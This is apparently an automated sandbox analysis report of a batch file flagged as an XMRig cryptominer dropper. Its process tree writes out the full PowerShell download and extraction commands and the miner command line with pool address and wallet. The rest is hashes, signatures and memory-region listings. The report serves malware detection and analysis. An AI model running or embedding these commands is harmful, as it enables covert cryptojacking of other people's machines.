Analysis

  • max time kernel
    1810s
  • max time network
    1847s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30/12/2023, 07:23

General

  • Target

    tesy - Copy (8).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:224
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3036
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1444
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:688

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    5acd1643bdb4ff781017698fb0f73726

    SHA1

    d9cf214bac3fdcb86e1eacfe56180f791ec7ba76

    SHA256

    d831654d97f2962ee98a74393807968b0cf2347314bbb6e04868b46aac73322a

    SHA512

    18cd9bdb08f2a3d4ba14f286f4a0caaa12b67c3116bdde8566876db95f99158b7ac1a269b6a8b1748f6beeabeb7491d4c360b41ec978d93db7d121a7366497e9

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wdpr4w3m.dlm.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    166KB

    MD5

    1cba838609d9e9fade81b992b2f8babe

    SHA1

    b801fe8d7eb683ce318cfdec7cd5a5dbafaacc6b

    SHA256

    8d0fa967b9fcd4afcad40600e6e9d5919c4092b5f2c06fb4e37786149e150339

    SHA512

    9da7419b44a55d0511ac82b0039e844196da3bd86f1e8c80b106f3af49541d43ab3ffc2a7aae82ce4680a08b5c8b847051a9415e6521f6ea840b025532baf7b0

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    139KB

    MD5

    16395f5adf47b898a960616ed4c58009

    SHA1

    c0ee82b77ba4649f199ec0b8cbd5c0cd43850dde

    SHA256

    9f5e57b43058dd7586018ff8ed6831a8e86a6a30180db388ce3f553631d83467

    SHA512

    7b63071f8e987d9b0eb1051850be3d4933eec54e3b7a7e06d0f125fa64271759fdb4b8cc8017ef92aa8d1bc5982f017db518a9c4bcb47cc65c27f79c56b7d671

  • memory/688-147-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-123-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-188-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-187-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-186-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-185-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-184-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-183-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-182-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-181-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-180-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-179-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-178-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-177-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-120-0x000001A9696B0000-0x000001A9696D0000-memory.dmp

    Filesize

    128KB

  • memory/688-121-0x000001A96AFC0000-0x000001A96B000000-memory.dmp

    Filesize

    256KB

  • memory/688-122-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-150-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-124-0x000001A96B000000-0x000001A96B020000-memory.dmp

    Filesize

    128KB

  • memory/688-125-0x000001A96B020000-0x000001A96B040000-memory.dmp

    Filesize

    128KB

  • memory/688-126-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-127-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-129-0x000001A96B020000-0x000001A96B040000-memory.dmp

    Filesize

    128KB

  • memory/688-128-0x000001A96B000000-0x000001A96B020000-memory.dmp

    Filesize

    128KB

  • memory/688-130-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-131-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-132-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-133-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-134-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-135-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-136-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-137-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-138-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-139-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-140-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-141-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-142-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-143-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-144-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-145-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-149-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-176-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-175-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-146-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-148-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-151-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-152-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-153-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-154-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-155-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-156-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-157-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-158-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-159-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-160-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-161-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-162-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-163-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-164-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-165-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-166-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-167-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-168-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-169-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-170-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-171-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-172-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-173-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/688-174-0x00007FF7CFBA0000-0x00007FF7D06A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1444-66-0x00000209A5640000-0x00000209A5650000-memory.dmp

    Filesize

    64KB

  • memory/1444-40-0x00007FFBE90F0000-0x00007FFBE9ADC000-memory.dmp

    Filesize

    9.9MB

  • memory/1444-41-0x00000209A5640000-0x00000209A5650000-memory.dmp

    Filesize

    64KB

  • memory/1444-117-0x00007FFBE90F0000-0x00007FFBE9ADC000-memory.dmp

    Filesize

    9.9MB

  • memory/1444-80-0x00000209BDA80000-0x00000209BDA92000-memory.dmp

    Filesize

    72KB

  • memory/1444-93-0x00000209A5820000-0x00000209A582A000-memory.dmp

    Filesize

    40KB

  • memory/1444-42-0x00000209A5640000-0x00000209A5650000-memory.dmp

    Filesize

    64KB

  • memory/3036-26-0x00007FFBE90F0000-0x00007FFBE9ADC000-memory.dmp

    Filesize

    9.9MB

  • memory/3036-6-0x00007FFBE90F0000-0x00007FFBE9ADC000-memory.dmp

    Filesize

    9.9MB

  • memory/3036-4-0x0000015BC2860000-0x0000015BC2882000-memory.dmp

    Filesize

    136KB

  • memory/3036-25-0x0000015BDAEB0000-0x0000015BDAEC0000-memory.dmp

    Filesize

    64KB

  • memory/3036-8-0x0000015BDAEB0000-0x0000015BDAEC0000-memory.dmp

    Filesize

    64KB

  • memory/3036-10-0x0000015BDAEB0000-0x0000015BDAEC0000-memory.dmp

    Filesize

    64KB

  • memory/3036-9-0x0000015BDAFC0000-0x0000015BDB036000-memory.dmp

    Filesize

    472KB

  • memory/3036-27-0x0000015BDAEB0000-0x0000015BDAEC0000-memory.dmp

    Filesize

    64KB

  • memory/3036-28-0x0000015BDAEB0000-0x0000015BDAEC0000-memory.dmp

    Filesize

    64KB

  • memory/3036-29-0x0000015BDAEB0000-0x0000015BDAEC0000-memory.dmp

    Filesize

    64KB

  • memory/3036-34-0x00007FFBE90F0000-0x00007FFBE9ADC000-memory.dmp

    Filesize

    9.9MB